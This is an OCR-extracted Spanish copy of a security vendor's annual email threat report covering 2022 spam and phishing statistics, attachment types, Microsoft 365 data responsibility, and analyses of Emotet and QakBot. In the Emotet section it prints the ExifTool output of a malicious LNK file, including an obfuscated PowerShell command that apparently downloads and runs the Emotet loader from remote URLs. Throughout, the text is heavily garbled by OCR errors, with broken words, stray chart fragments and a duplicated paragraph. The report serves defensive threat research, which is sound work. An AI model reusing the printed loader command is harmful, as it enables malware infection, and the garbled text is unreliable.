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Acerca de Hornetsecurity

Hornetsecurity permite a Ias empresas y organizaciones de todos los tamanos centrarse en su
negocio principal al proteger las comunicaciones por correo electronico, los datos y garantizar
I3 continuidad del negocio y el cumplimiento normativo con soluciones de Ultima generacion
basadas en la nube.

Nuestro producto estrella, 365 Total Protection Enterprise Backup, es la solucion de sequridad
en la nube mas completa para Microsoft 365 del mercado, incluyendo sequridad de correo
electronico, cumplimiento normativo y backup.

éc0ué es el Informe de Cibersequridad?

El Informe de Cibersequridad (anteriormente Informe de Ciberamenazas) es un analisis anual del
panorama actual de amenazas de cibersequridad basado en datos del mundo real recopilados y
estudiados por el equipo del Laboratorio de Sequridad de Hornetsecurity — Hornetsecurity Lab.
Hornetsecurity procesa mas de dos mil millones de correos electronicos cada mes. Al analizar las
amenazas identificadas en estas comunicaciones, combinadas con un conocimiento detallado
del panorama de amenazas mas amplio, el Hornetsecurity Lab revela Ias principales tendencias
y puede hacer proyecciones informadas para el futuro de las amenazas de sequridad sobre
Microsoft 365, lo que permite a las empresas actuar en consecuencia. Esas conclusiones y datos
figuran en el presente informe.

c0Qué es el Security Lab?

Es una division de Hornetsecurity que realiza analisis forenses de las amenazas de sequridad
Mas actuales y criticas, especializada en sequridad de correo electronico. El equipo multinacional
de especialistas en sequridad tiene una amplia experiencia en investigacion de sequridad,
ingenieria de software y data science.

Una comprension profunda del panorama de amenazas establecida a traves del examen practico
de virus del mundo real, ataques de phishing, malware y mas, es fundamental para desarrollar
contramedidas efectivas. Los conocimientos detallados descubiertos por el Hornetsecurity Lab
sirven de base para las soluciones de cibersequridad de uUltima generacion de Hornetsecurity.
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Como usar este informe

Este informe se divide en 4 secciones:

El capitulo 1 contiene el resumen ejecutivo. Si solo te interesan los aspectos mas destacados, te
interesara esta seccion.

El capitulo 2 se centra en el panorama actual de amenazas de |a plataforma Microsoft 365.

El capitulo 3 cubre las preocupaciones y los debates actuales sobre las mayores amenazas y
tendencias a partir de 2022.

Elcapitulo 4 contiene predicciones del Hornetsecurity Lab sobre Ias amenazas de cibersequridad
para 2023, junto con consejos y directrices para ayudar a proteger tu negocio.

En elcapitulo 5 se enumeran todas las referencias, enlaces de apoyo y conjuntos de datos
utilizados en este informe.
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Capitulo 1 — Resumen ejecutivo

Al aprovechar su enorme conjunto de datos de usuarios, Hornetsecurity esta en una posicion
Unica para llevar a cabo un examen detallado de las amenazas basadas en el correo electronico
y destilar esto en informacion importante para los profesionales de |la sequridad de IT. El correo
electronico sique siendo un canal de comunicacion muy importante.

En nuestro analisis de mas de 25 mil millones de correos electrénicos, el 40,5 % se clasifican
como «no deseados».— un aumento del 0,5 % con respecto a 2021. El 94,5 % de los correos
electronicos no deseados son spam o rechazados directamente debido a indicadores externos,
y poco mas del 5 % fueron marcados como maliciosos.

Hornetsecurity estd en una posicion Unica para llevar a cabo un examen detallado de las
amenazas basadas en el correo electronico y destilar esto en informacion importante para los
profesionales de la sequridad de IT. El correo electrénico sique siendo un canal de comunicacion
muy importante.

En nuestro analisis de mas de 25 mil millones de correos electrénicos, el 40,5 % se clasifican
como «no deseados».— un aumento del 0,5 % con respecto a 2021. El 94,5 % de los correos
electronicos no deseados son spam o rechazados directamente debido a indicadores externos,
y poco mas del 5 % fueron marcados como maliciosos.
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Fig.1: Clasificacion de correos electronicos escaneados por Hornetsecurity
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Fig. 2: Clasificacidon de correos electronicos no deseados
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Los tipos de archivos mas comunes utiliza-
dos en los ataques son los archivos com-
primidos (zip, etc.) en el 28% de los casos,
HTML, en el 21% y los documentos Word en
el 12,7%. Les siquen los PDF, con un 12,4%,
y los Excel, con un 10,4%. El phishing sique
siendo el método de ataque preferido en el
39,6% de los ataques por correo electronico.

Fig.3: Tipos de archivo mas utilizados en emails
maliciosos

El cambio largamente esperado de Microsoft
para deshabilitar macros en documentos de
Office por defecto (27 de julio de 2022) ha
afectado a la eleccidon de los atacantes de
tipos de archivos adjuntos maliciosos en fa-
vor de los archivos de enlace (LNK) y HTML.
Por ejemplo, el uso de archivos HTML ha au-
mentado significativamente, y LNK es aho-
ra el tipo de archivo preferido en cadenas de
ataque como las utilizadas en el Bumblebee
Loader.

Fig. 4: Ataque en Bumbleebee loader

Mientras tanto, hay alqunas variaciones en
ataques contra diferentes sectores, los ata-
cantes parecen preocuparse mas por si la
organizacion puede pagar un rescate con-
siderable y su funcion en la Sociedad (por
ejemplo un hospital u otra infraestructura
critica).

Muchas organizaciones todavia asumen que
los datos almacenados dentro de los servi-
cios en |a nube (como Microsoft 365) estan
sequros Y proteqidos, lo que no es cierto, y
3 muchas empresas se les sique escapando
I3 realidad de la responsabilidad compartida
de proteger esos datos (Leer el Modo de Re-
sponsabilidad Compartida de Microsoftl). En
Una encuesta de mas de 2.000 profesionales
de IT sobre sequridad de datos, el 25 % de
los encuestados indicaron que no estaban
sequros 0 asumian que M365 es inmune 3
los ataques de ransomware.
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Fig. 5: Conocimiento general de la sequridad en M365

No se puede subestimar I3 importancia de
formar a los usuarios para que sean CoNsCi-
entes de los ataques basados en el correo
electronico y otras amenazas a la sequridad,
mientras que |a suplantacion de marcas es
otra cuestion que Ia sequridad informati-
ca debe tener en cuenta. El aumento de las
iniciativas BYOD (Bring Your Own Device) y
WFH (work fromm home) sigue planteando
retos adicionales a los equipos de ciberse-
quridad, que ya estan sometidos a una gran
presion.
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De cara al futuro, los equipos de liderazgo tie-
nen mucho que pensar en 2023. Es probable
que aumenten los ataques centrados en los
dispositivos moviles, junto con los metodos
de ataque dirigidos a las aplicaciones MFA
(autenticacion multifactor). Este tipo de ata-
ques se utilizdo con grandes resultados en Ia
brecha de Uber de Septiembre de 2022, por
ejemplo.

/

La creciente dependencia de la nube ha
planteado varios problemas de sequridad
importantes. Uno de ellos es |a creciente de-
pendencia de las APIs en Ia nube. Aunque
nos facilitan la vida, cada API| accesible es
un vector potencial de ataque para los ciber-
criminales.

En cuanto al tema de Ia dependencia, existe
uUna creciente preocupacion entre los lideres
empresariales por el concepto de sobre de-
pendencia de los proveedores. Esto ha sur-
gido con mas frecuencia en relacion con las
grandes plataformas en Ia nube como Mic-
rosoft 365. Aunque la Plataforma est3 pen-
sada para la productividad y la colaboracion,
también proporciona alqunas capacidades
basicas de sequridad. Algunas escuelas de
pensamiento instan a tener cuidado cuando
se depende del mismo proveedor para solu-
ciones de colaboracion y sequridad, ya que
tales combinaciones pueden crear un poten-
cial conflicto de intereses, ademas del riesqo
de dependencia. Aprovechar las soluciones
de terceros junto a los grandes proveedores
puede ayudar 3 mitigar este problema.

Los cibercriminales también se estan volvi-
endo ma3s sofisticados en |a recopilacion de
informacion sobre los objetivos. Muchas or-
ganizaciones de hackers recurren ahora a
kits de herramientas de marketing profesio-
nales como ZoomlInfo para ayudar a iden-
tificar objetivos lucrativos para su proximo
ataque.

Por Ultimo, a pesar de la evolucion del pan-
orama de las amenazas, es fundamental
garantizar que se apliquen las normas de
cibersequridad, ya que los atacantes suelen
apuntar a la presa mas facil. Con demasia-
da frecuencia, organizaciones con enormes
presupuestos de sequridad son vulneradas
porque 3algo tan simple como una API de-
sproteqida se dejo abierta a Internet. Incluso
bajo la creencia de que |a organizacion tiene
cubiertos los aspectos basicos, es impor-
tante revisarlos constantemente y empujar
3 la empresa a adoptar una cultura de sequ-
ridad sostenible.

El correo electrénico sique siendo uno de
los principales métodos que utilizan los
cibercriminales para lanzar ataques, por lo
que una solida estrategia de sequridad del
correo electronico es esencial para navegar
por el complejo panorama de las amenazas
y desarrollar 13 resistencia de la sequridad
en 2023.
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Capitulo 2 — El panorama actual de amenazas para Microsoft 365

Anualmente, el Hornetsecurity Lab revisa el extenso conjunto de datos de Ia compania y anali-
z3 el estado de las amenazas de correo electronico y las estadisticas de comunicacion globales.
Como complemento, el equipo realiza reqularmente ejercicios de vision de futuro y proporciona
informacion sobre potenciales amenazas futuras. Este capitulo se centra en Ia revision de los
datos de 2022, que constituyen |a base para Ias proyecciones del panorama cambiante de las
amenazas establecidas en el capitulo 4.

Tendencias en sequridad de correo electronico

A pesar de un gran cambio en la colaboracion

dentro de la organizacion, con herramientas

como Slack y Microsoft Teams que ven un -
importante crecimiento continuo en 2022, CEE—
el correo electronico sigue siendo el princi-
pal mecanismo de comunicacion para mu-
chas organizaciones, con 333.200 millones

de correos electronicos enviados todos los

dias. El correo electronico no va a desapare- °

cer en un futuro préximo MIL MlLLONES DE

Al revisar mas de 25 mil millones de correos CORREOS ELECTRO'NICOS

electronicos recopilados durante el periodo . ,
de informe actual (1 de octubre de 2021-30 enviado todos los dias

de septiembre de 2022), el Laboratorio de
Sequridad ha elaborado las siquientes con-

) Fig. 6: NUmero de correos electronicos enviados
clusiones. 9

Spam, malware, métricas de amenazas avanzadas

El correo electrénico sigue siendo uno de los principales métodos que los cibercriminales utilizan
para lanzar ataques. Esto se ejemplifica en nuestros datos que clasificaron el 40,5 % de todos los
correos electronicos como «no deseados», lo que significa que Nno son comunicaciones genuinas
deseadas por el destinatario. Ha habido un aumento del 0,5 % en los correos electronicos No
deseados desde 2021.

COMPARACION DE DATOS DE CIBERAMENAZAS/INFORMES DE SEGURIDAD 2021-2022

2021 2022
79.19% 79.45% | N RECHAZADO
15.54% 15.03% | I sPAM

4.15% 4.28% | I AMENAZA
1.08% 1.20% | | ADVTHREAT
(Fraude CEO, spear phishing, etc.)
0.03% 0.04% CONTENIDO
(Correos electrénicos con archivos adjuntos ilegales predefinidos por el
\_ administrador de Hornetsecurity) Y,

Fig. 7: Correos electronicos no deseados por categoria
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CATEGORIA DESCRIPCION DEL EMAIL

AdvThreat Contiene amenazas detectadas por Advanced Threat Protection de Hornetse-
curity. Estos correos electrénicos se utilizan con fines ileqales e involucran
sofisticados medios técnicos que solo se pueden evitar utilizando proced-
imientos dinamicos avanzados.

Contenido Contiene un archivo adjunto no valido. Los administradores pueden definir
qué complementos no son validos en el médulo de control de contenido.

Rechazado Nuestro servidor de correo electréonico rechaza estos correos electronicos di-
rectamente durante el didlogo SMTP debido a caracteristicas externas, como
la identidad del remitente. No se analiza mas a fondo.

Spam No deseado y a3 menudo promocional o fraudulento. Estos correos electrénic-
0s se envian de forma simultdnea a muchos destinatarios.

Amenaza Contiene contenido danino, como archivos adjuntos o enlaces maliciosos, o
se envian para cometer delitos, como el phishing.

Uso de archivos adjuntos y tipos de ataques

Los archivos adjuntos en el correo electronico siguen siendo uno de los métodos mas utilizados
para efectuar un ataque en 2022. Los atacantes continuan utilizando archivos adjuntos para
ocultar malware, asi como para dar apariencia de autenticidad a sus comunicaciones maliciosas.
Ademas, alqunos filtros rudimentarios de spam/malware pueden ser incapaces de escanear los
archivos adjuntos comprimidos, y por esta razon, son comunmente utilizados por los cibercrim-
inales menos «expertos» debido al bajo nivel de capacitacidon necesario para iniciar este tipo de
ataque a objetivos no preparados.

El uso de archivos adjuntos como mecanismo de carga Util prevalecio en varias olas de ataque en
2022. Por ejemplo, los documentos de Word especialmente disefiados son un metodo principal
de entreqa de carga Util en |a cadena de ataque Zero Day a Microsoft Office Follina (CVE-2022-
30190). En este ataque, el cibercriminal envia un documento especializado de Microsoft Word
(DOC/DOCX) a la victima. Al abrir el archivo, Microsoft Support Diagnostic Tool (MSDT) se activa y
se utiliza para descarqar y ejecutar cédigo malicioso.

Si bien los archivos DOC/DOCX fueron ampliamente utilizados en ataques dirigidos a este exploit,
todavia eran solo el tercer tipo de archivo adjunto mas utilizado (12,7 %) en ataques durante
nuestro periodo de informe. Merece Ia pena mencionar que también hemos visto ocurrencias de
archivos DOC/DOCX incrustados dentro de otros tipos de archivos. Por esta razon, sospechamos
que el uso de archivos DOC(X) para ataques es probablemente mas alto de lo que sugieren nues-
tros datos, viendo el resto de categorias. Dicho esto, el primero y el sequndo tipo de archivos mas
utilizados para ataques fueron archivos files (28 %) y archivos HTML (21 %). Los archivos PDF
y Excel estaban en 4° y 5° lugar en nuestros datos, con tasas del 12,4 % y el 10,4 %, respectiva-
mente.

Otros tipos de archivos detectados utilizados como mecanismo de carga Util en los archivos ad-
juntos de correo electronico se pueden encontrar en |a siguiente tabla.



https://nvd.nist.gov/vuln/detail/cve-2022-30190
https://nvd.nist.gov/vuln/detail/cve-2022-30190

4 )
2021 2022

33.6 28.0 ARCHIVE

[ 153 21.0 | HTML

=) 4.8 127 | woro

@ 14.5 124 | POF

102 10.4 | EXCEL

@ 4.2 54 | ARCHIVOS DE IMAGEN
DE DISCO

) 8.7 4.8 | OTROS

o) 81 43 | EJECUTABLE

5 0.2 0.7 | ARCHIVO DE SCRIPT

X 0.0 0. CORREO ELECTRONICO

) ) 01 | ARCHIVOLNK

) 0.4 <0 | POWERPOINT

-

J

Fig. 8: Tipo de archivo usado en 2022

Tambien vale la pena seAalar que, dado que
Microsoft cambid el valor predeterminado
para deshabilitar las macros en los archivos
de Microsoft Office, estamos viendo un may-
or uso de tipos de archivo como los archivos
LNK. Los archivos LNK se han utilizado con
relativo éxito tanto por Emotet como por
Bumblebee Loader durante todo el periodo
del informe, por lo tanto, los administradores
deben tomar medidas adicionales para estar
al tanto de estos tipos de archivos y su uso
en las cadenas de ataque actuales.

indice de amenazas de correo
electrénico por sectores

No es ningQun secreto que ciertos sectores
(en el pasado) han sido atacados con mas
frecuencia que otros. Sin embarqo, lo que he-
mMos visto en el Ultimo ano muestra que ni-
NQuNa organizacion es inmune 3 la amena-
z3a que representan los ciberdelincuentes. Si
bien nuestros datos muestran que algunos
sectores experimentan mas ataques, Ias dif-
erencias son pequenas Yy disminuyen con
respecto al afo anterior. Siendo realistas, los
atacantes se dirigirdan a cualquier organi-
Zacion que perciban capaz de pagar un res-
cate. Dicho esto, lIa Unica excepcion a este
pensamiento es el hecho de que alqunas
organizaciones son tan criticas para el fun-
cionamiento de |a sociedad, como los hospi-
tales, que estan casi sequros de que pagaran
el rescate (suponiendo un dafno grave). Sim-
plemente son incapaces de fallar debido a su
importancia para sus comunidades. Los ata-
cantes son conscientes de esto y los atacan
en consecuencia.

La siquiente tabla muestra el indice de
amenaza para los principales sectores.

-

N
@
»/
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— Fig. 9: Sectores mas amenazados sequn el Indice de
) 4.4 MEDIOS DE COMUNICACION Amenaza™
F 4z 1uTILTIES NOTA: El valor del indice de amenaza se determina
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¢ 4.3 1SANIDAD ,
Indice de amenazas = nUmero de correos electronicos
«” 4.2 | TRANSPORTE maliciosos/(nUmero de correos electréonicos malicio-
sos + nuUmero de correos electrénicos limpios) multi-
M 4.2 | HOTELES plicado por 100 — Excluyendo spam y publicidad.
<\ : 4 N\
£* 3.9 1CONSTRUCCION Nota sobre metodologia
3.8 | TECNOLOGIAS DE LA INFORMACION Diferentes tamanos de organizaciones
reciben un numero absoluto diferente de
0 3.8 | DESCONOCIDO L
correos electronicos. Por lo tanto, calcu-
~2 33| FINANZAS lamos el porcentaje de correos electroni-
cos de amenazas de cada organizacion
& 3.7 | SERVICIOS PROFESIONALES . .
y los correos electronicos limpios para
¥ 3.6 | AGRICULTURA compararlos entre si. Luego calculamos
la media de estos valores porcentuales
& 3.51INMOBILIARIA -
para todas las organizaciones dentro del
- 2.8 LOGISTICA mismo sector para extraer el indice de
\_ ) \_ amenaza final del sector. )

Métodos populares de ataque por email en 2022

La cibersequridad es el interminable juego del gato y el ratdn entre los cibercriminales y los
profesionales de sequridad. Esto es m3s evidente cuando realizamos nuestra revision anual de
datos con respecto a las técnicas de ataque. La naturaleza de las técnicas de ataque cambia con
el tiempo a medida que evolucionan Ias estrateqgias de los atacantes y responden |as contrame-
didas de los profesionales de |a sequridad, pero los mecanismos que implican han persistido en
gran medida desde el periodo anterior. Si hubiera que mirar el informe de ciberamenazas del ano
pasado, se constataria que el phishing era el método principal de ataque utilizado en Ias brechas
de comunicacion por correo electronico. Este afo los cibercriminales siguen teniendo un éxito
con actividades de phishing. El phishing sigue siendo el numero uno en I3 lista con el 39,6 %,
estando las URLs maliciosas en el tercer lugar con un 12,5 %. El sequndo lugar en Ia lista es la
clasificacion «otros», que es una combinacion de varios ataques menos utilizados.


https://www.hornetsecurity.com/en/press-releases/new-cybersecurity-report/?_adin=01833301559
https://www.hornetsecurity.com/en/press-releases/new-cybersecurity-report/?_adin=01833301559

Sospechamos que esta tendencia se debe al éxito continuo que los atacantes estan teniendo
con las campanas de phishing ¢Por qué cambiar una estrateqia ganadora? Dicho esto, el uso de
URLs maliciosas en los mensajes de correo electronico esta ganando terreno. Una URL maliciosa
es un vector popular de ataque de ingenieria social, y esperamos que este tipo de ataque con-
tinve creciendo en 2023.

Las meétricas generales y los diferentes metodos se pueden ver en el siguiente grafico:

39.6 f \

2021|2022 | TECNICAS DE ATAQUE

% %
24.8 | 39.6 | Phishing
42.0 | 26.5| Otros
16.2 | 12.5| URL
2.3 8.2 | Estafa anticipada
Al 3.7 | Extorsion
3.9 3.5 | Ejecutable en archivo/disco-imagen
1.5 2.8 | Maldoc (adjunto malicioso)
1.8 | HTML

2.1 1.1 | Suplantacidon

0.4 | POF

26.5

Fig.10: Tipos de ataque en 2022

Sequridad de los datos en la nube

Las tecnologias de la nube han visto un tremendo aumento en su adopcion en los Ultimos afos,
algo que continud en 2022. Esto fue impulsado inicialmente por Ia pandemia de COVID-19, pero
ya estaba ganando terreno debido a |a aqilidad y fiabilidad que aportan Ias plataformas en la
nube cuando se confiquran y utilizan correctamente. Las empresas de todo el mundo no solo
utilizan plataformas en Ia nube para hacer el trabajo, sino que tambien almacenan su trabajo en
esas plataformas. Cada vez mas organizaciones estan diciendo adios a los servidores de archivos
locales o SQL y estan moviendo esos servicios 3 la nube.

Sin embargo, esto nos lleva a prequntarnos: sestan los datos sequros?

Métricas sobre la adopcion del almacenamiento en Ia nube

Antes de sumergirnos en esta prequnta, consideremos cuantas personas se estan moviendo a
Ia nube. Si se considera el gasto como una metrica, se espera que haya un aumento del 20,4 %
en el gasto de los usuarios finales en servicios de nube publica a finales de 2022. Se espera que
el monto en ddlares gastado alcance los $494.700 mil millones sin signos de desaceleracion.
El mismo informe indica que es probable que veamos que ese nUMero aumenta a mas de $
600.000 mil millones en 2023.

Si aun no estaba claro, es evidente ahora que la «nube» esta aqui para quedarse y que cada vez
Mas organizaciones |a estan utilizando para hacer el trabajo.
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Preocupaciones sobre la sequridad de los datos en Microsoft 365

Sabemos que las organizaciones estan us-

ando servicios en |a nube Mmas que nunca, ®

como M365, y que muchas lo hacen por pri- X

mera vez. Pero irealmente entienden estas _;g Q

organizaciones como funciona la proteccion 7‘

de datos en la nube y '
su responsabilidad con respecto a la sequri- ’ y

dad de la informacion? l '

Hemos visto muchas situaciones. du.rante :PUEDEN LOS DATOS
el ano pasado en las que Ias organizaciones DE MICROSOFT 365?
nuevas en los servicios de nube hacen I3

:SE VE AFECTADO POR UN ATAQUE
suposicion incorrecta de que, debido a que < DE RANSOMWARE? )

sus datos ahora se alojan en un servicio en

la nube en algun lugar, ya no tienen que _ si. si
preocuparse por la tecnologia de proteccion

de datos, como Ias copias de sequridad, Ia
recuperacion, o la sequridad de esos datos.
Esta idea errénea fue revelada en una en-
cuesta realizada por HornetSecurity en 2022, 5.6% NO
en la que a mas de 2.000 profesionales de IT
se les prequnto si creian que los datos alma-
cenados en Microsoft 365 estaban expues-
tos a las amenazas de ransomware. Sorpren-
dentemente, el 25,3 % de los encuestados
No sabia la respuesta o creia que |a respues-
ta era no.

1EWAA NO LO SE

Fig. 11: Encuesta de usuarios de M365

El hecho de que los datos se almacenen dentro de un servicio en la nube (como Microsoft 365),
no significa que el proveedor de Ia nube sea responsable de |a sequridad de esos datos. Pueden
tener alqunos servicios adicionales que proporcionan algunas de esas capacidades, pero el
hecho es que, en general, Ia mayoria de las organizaciones que proporcionan servicios en la
nube dejan la proteccion y sequridad de los datos en manos del usuario final.

No solo depende del usuario final y los departamentos de IT garantizar |a sequridad de los
datos, sino que tambien es importante asequrarse de que persista con el tiempo. Esto puede
ser especialmente dificil para las organizaciones que no mantienen un control estricto sobre
los permisos de uso compartido, por ejemplo, en OneDrive for Business y SharePoint Online.
Microsoft 365 hace que sea tan facil compartir documentos que los usuarios finales 3 menudo
Nno piensan en las ramificaciones de como comparten archivos y con quién. A medida que los
endpoints de Ias organizaciones se expanden y la colaboracion mas estrecha con usuarios ex-
ternos crece 3 medida que lo hace la adopcion de servicios en la nube, es de vital importancia
administrar estrictamente los permisos de archivos para limitar el riesqgo de exponer datos con-
fidenciales innecesariamente.
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Muchos preguntan: «Si Microsoft no se ocupa de mis datos y sequridad, ¢de que son real-
mente responsables?» La postura actual de Microsoft sobre esta prequnta no ha cambia-
do en 2022. Para entenderlo bien, debe estar familiarizado con el de

de Microsoft.

Lo importante es que el modelo de responsabilidad compartida establece: «La respons-
abilidad la tiene siempre el cliente para»:

. Informacioén y datos

. Dispositivos (moviles y PC)

. Cuentas e identidades

Para dar mas peso a esta postura esta Ia siguiente seccion a continuacion del de

, Que incluye los servicios contenidos en Microsoft 365. La
parte clave es la ultima frase que contiene la recomendacidn para los usuarios de «hacer
reqularmente copias de sequridad del contenido y datos que almacena en los servicios o
que almacena utilizando aplicaciones y servicios de terceros».

Service Availability

. Service Availability.

a. The Services, Third-Party Apps and Services, or material or products offered through the Services may
be unavailable from time to time, may be offered for a limited time, or may vary depending on your|
region or device. If you change the location associated with your Microsoft account, you may need to re-
acquire the material or applications that were available to you and paid for in your previous region.

b. We strive to keep the Services up and running; however, all online services suffer occasional
disruptions and outages, and Microsoft is not liable for any disruption or loss you may suffer as a result,
In the event of an outage, you may not be able to retrieve Your Content or Data that you've stored. We|
recommend that you regularly backup Your Content and Data that you store on the Services or store|
using Third-Party Apps and Services.

En pocas palabras, el cliente es responsable de proteger su informacion y sus datos. Mi-
crosoft no lo es. A medida que las organizaciones se mueven a |a nube, deben tener esto
en cuenta cuando se implementan estrateqias de proteccion.

Los servicios de correo electronico y comunicaciones ya no son los Unicos objetivos de los ata-
cantes. Los propios usuarios finales son cada vez mas el «eslabdon mas debil» cuando se trata de
sequridad IT. Se esta volviendo mucho ma3s simple para un hacker en ciernes vulnerar el factor
humano en las defensas de una organizacion objetivo que traspasar Ias medidas de sequridad
implementadas. Por ello, estamos detectando una tendencia preocupante en los continuos es-
fuerzos de los cibercriminales por dirigirse a los usuarios finales en las empresas o «cortafueqos
humanosy.
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Ingenieria Social

El numero de ataques de ingenieria social esta aumentando constantemente. Estos ataques im-
plican un esfuerzo mas selectivo e intensivo, pero tienen un grado relativamente 3alto de éxito
y han demostrado ser lucrativos para los atacantes en 2022. Por ejemplo, uno de los hacks mas
ampliamente reportados en 2022, |a brecha de Uber, fue posible en gran medida por la ingenieria
social. En este caso, un contratista externo con acceso a los sistemas de IT de Uber fue dirigido
a traves de ingenieria social y «Prompt Bombing/MFA Fatique» para acceder a sistemas criticos.
Se ha vuelto mas importante que Nnunca que Ias organizaciones capaciten a sus usuarios fina-
les para detectar intentos de ingenieria social. Ha habido muchos casos de organizaciones con
enormes presupuestos de sequridad que se ven agredidas debido a un simple ataque de inge-
nieria social. Por esta razon, mas organizaciones estan recurriendo a la concienciacion en sequri-
dad del usuario final.

Hornetsecurity ha reconocido esta necesidad en las empresas y ahora ofrece Security Awareness
Training que educa a sus usuarios a traves de simulaciones realistas de spear phishing y for-
macion online impulsada por Inteligencia Artificial que aumenta la concienciacion ante los riesgos
Yy amenazas de ciberseguridad. Obtén mas informacion y solicita una demo.

Suplantacion de marca Ve ~
g . ' & 35711 SPARKASSE
La suplantacion de marca sigue siendo una .
técnica de ataque predominante dirigida a los N 22.41LINKEDIN
usuarios finales en 2022. Hemos visto un au- E'1 11.7 | VOLKS — UND RAIFFEISENBANK
me.nto S|gn|F|Fat|vq er{w Ia suplantaaon de mar- 6.3 | AMAZON
Ca junto con ingenieria social por parte de los
cibercriminales a nivel mundial. Muchos ata- @ «4s10TROS
cantes utilizan servicios como LinkedIn para B 40IDHL
Iocal|z‘ar fa’)cnmente .qwen trabaja para una A e
organizacion determinada Yy su puesto. Esta
4% .51 POSTBANK

informacion se utiliza entonces en ataques
contra la compadia objetivo o en correos elec-
tronicos de suplantacion de marca dirigidos 3

0.9 | MICROSOFT

' . @ 091UPS
un usuario determinado para obtener acceso a
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Implicaciones de BYOD/WFH 4

Las iniciativas de BYOD (trae tu propio dis- @

positivo) y WFH (trabajo desde casa) se han

convertido en una fuente importante de an- 3211;’;‘}
siedad para los administradores en 2022 y lo
sequird siendo durante algun tiempo. La pan-
demia de COVID-19 acelerd esta tendencia, y
muchas organizaciones siguen teniendo di-
ficultades para incorporar adecuadamente Ia
sequridad en torno a estos endpoints itiner-
antes. Muchas organizaciones estan recur-
riendo 3 Microsoft 365 para la gestion y Ia
productividad, lo que tiene implicaciones de
sequridad. Junto con esto estan las necesi-
dades de proteccion de datos en estos end- \_
points que muchos departamentos de IT no

tienen en cuenta.

¢Cuadntos datos se almacenan localmente en el ordenador portatil del CEO? ¢Qué hay de los
trabajadores del conocimiento? A pesar de los mejores planes y tecnologias sofisticadas como
Known Folder Move (movimiento automatico de carpetas personales, escritorio, documentos,
etc.a OneDrive para la empresa), es probable que los datos terminen almacenados en los end-
points. Para evitar la perdida de estos datos en caso de ransomware dirigido al usuario, mu-
chas empresas estan recurriendo a soluciones de backup de endpoints, anadido 3 sus mayores
necesidades de proteccion de datos.

Capitulo 3 — Un analisis de los principales ataques de 2022

Ha habido varios ataques notables y preocupaciones de sequridad en 2022 que se relacio-
nan directamente con los datos recopilados para este informe. Esta seccion se centra en esos
ataques.

Emotet

En base a nuestros datos, tenemos un conocimiento especifico de Ias actividades de Emotet
en 2022.

El 22 de abril de 2022, los operadores de botnets de Emotet comenzaron a utilizar archivos LNK
para difundir el malware Emotet 3 traves de correos electronicos. Con este fin, reemplazaron
sus documentos XLS maliciosos previamente utilizados por un archivo LNK. Los archivos LNK
son accesos directos que se vinculan a otros archivos. Sin embargo, estos archivos también
pueden infiltrar comandos en archivos ejecutables. Esto puede permitir que el malware se in-
stale en el puter del usuario sin su conocimiento. Si un usuario recibe un archivo LNK de una
fuente no confiable, no debe abrirse.

Los correos electronicos que contienen los archivos LNK maliciosos de Emotet siguen el mis-
Mo esquema de secuestro de amenazas de conversacion de email que los correos electronicos
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normales de Emotet. El malware LNK generalmente se envia donde normalmente se colocaria
el documento XLS malicioso, es decir, en alqunos casos se adjunta directamente al correo elec-
tronico y en otros, se adjunta en un archivo ZIP protegido con una contrasea que se indica en
el propio correo electronico.

Los archivos LNK contenian diferentes variantes. Todos ellos usaron Windows\system32\cmd.
exe como el archivo de destino para el LNK. Los argumentos de Ia linea de comandos del LNK
Se usaron para proporcionar comandos a3 cmd.exe para ejecutar. En una variante, se anexo un
script VBS al final del archivo LNK, que fue extraido a traveés de findtr y escrito en un archivo
VBS y ejecutado por los argumentos de la linea de comandos en el archivo LNK.

Otras variantes utilizaron PowerShell en los argumentos de la linea de comandos de los archi-
vos LNK para ejecutar una descarqga del loader Emotet.

ff Exittool .ink | grep "p.o.w.g.r.s.h.e. .l e x. e\ |cmd. eéxe\ [powershell -executlonpolicy bypass® -LU TO0 \
ExifTool Version Number : 12.38

File Name : lnk

Directory T

File Size : 2.4 KiB

File Modification Date/Time 1 2022:04:29 82: +02:00

File Access Date/Time 1 2022:84:29 12: +02:80

File Inocde Change Date/Time 1 2022:04:29 12: +B2:00

File Permissions Po-rW-r--r--

File Type 1 LNK

File Type Extension : lnk

MIME Type : applicationfoctet-stream

Flags : IDList, RelativePath, CommandArgs, IconFile, Unicode
File Attributes ¢ (none)

[Target File Size HIR: ]

Icon Index 1 134

Run Window : Show Minimized No Activate
Hot Key : {none)

[Target File DOS Name ]

Relative Path : Lo\ AWindowshsystem3Zy

Command Line Arguments : /vion /fc t1NPEBAmMTDAOdFxa/LY+xFzx]IIalBSpwgznx@tTIIQynSPTsqGIUEhpzxy+PEFj2SMGRY1RR | |gqf
tok -c "&{[System.Text.Encoding]::ASCII.GetString{[System.Convert]::FromBase645tring( 'JFByb2d

ZXNZUHILZmVyZW5] ZTO1U21sZW50bH1Db250aW5125171GxpbmtzPSgiaHROcDovL2d] Y29ulmlul IVwbGIhZGVKRMLsZXMvYV1BSK5yVDIsbHhSMSBiLC ]|
odHRwWOi8vZ2F rdwRvdS5jb20veGhvdGBwNi9oRXUvIiwiaHROcDovL2dpYXNvdHRpLmMNvbS9gcy9LaGMZbWIwengBS29XWCBiLClodHRWOi8Bv cGxy ZXN Lbmy
RLLmNvbSOwY21uZm3yL2NxLyIsImhBdHAGLy 302G tYXNEYWS0b24uY20tL 3dwlWluY2x1Z2GVzL 20 3Wm5wV21INEQ4aiBil ClodHRW018vZ2xhimd L2953
COQdVZhZmYvIikTZm9yZWFjaCAoIHUgaWdglGxpbmtzKSBTdHI5IHEIV1IgIHUgLUS1dEZpbGUgIGVudjpURUIALZpuVYI4dFItalBull@to01I1ZIN2ciM

LmV4Z5AkZWS201TRFTVAvamSVUnhOUmlpTy5TS2g7Y n] LYWt 3 IGNhdGNoTHsgfX0=")} = "Stmp%ixLh5BgzP5x.psl";
-file "$env:TEMP\xLh5BgzPSx.ps1";: Remove-Item -Force "$env:TEMP\xLhSEgzPSx.ps1"}"
\[con File Name : shell32.dll )

Si bien hubo un periodo a mediados de afo en el Qque vimos a los operadores de Emotet volver a
los archivos XLS (probablemente debido al aumento de las tasas de deteccion en archivos LNK),
esperamos ver un mayor uso de los archivos LNK debido a la nueva postura de Microsoft sobre
las macros de Internet en aplicaciones de Office.

QOakBot

A traves de un analisis de nuestros datos e investigaciones, tambien tenemos datos detallados
sobre QakBot y su cadena de ataques durante este periodo de informe.

En julio de 2022, QakBot se distribuyo a traves de una compleja cadena de infeccion utilizando
trafico ileqgal HTML y Ia carga lateral de DLL para evadir la deteccion. El trafico ileqal de HTML
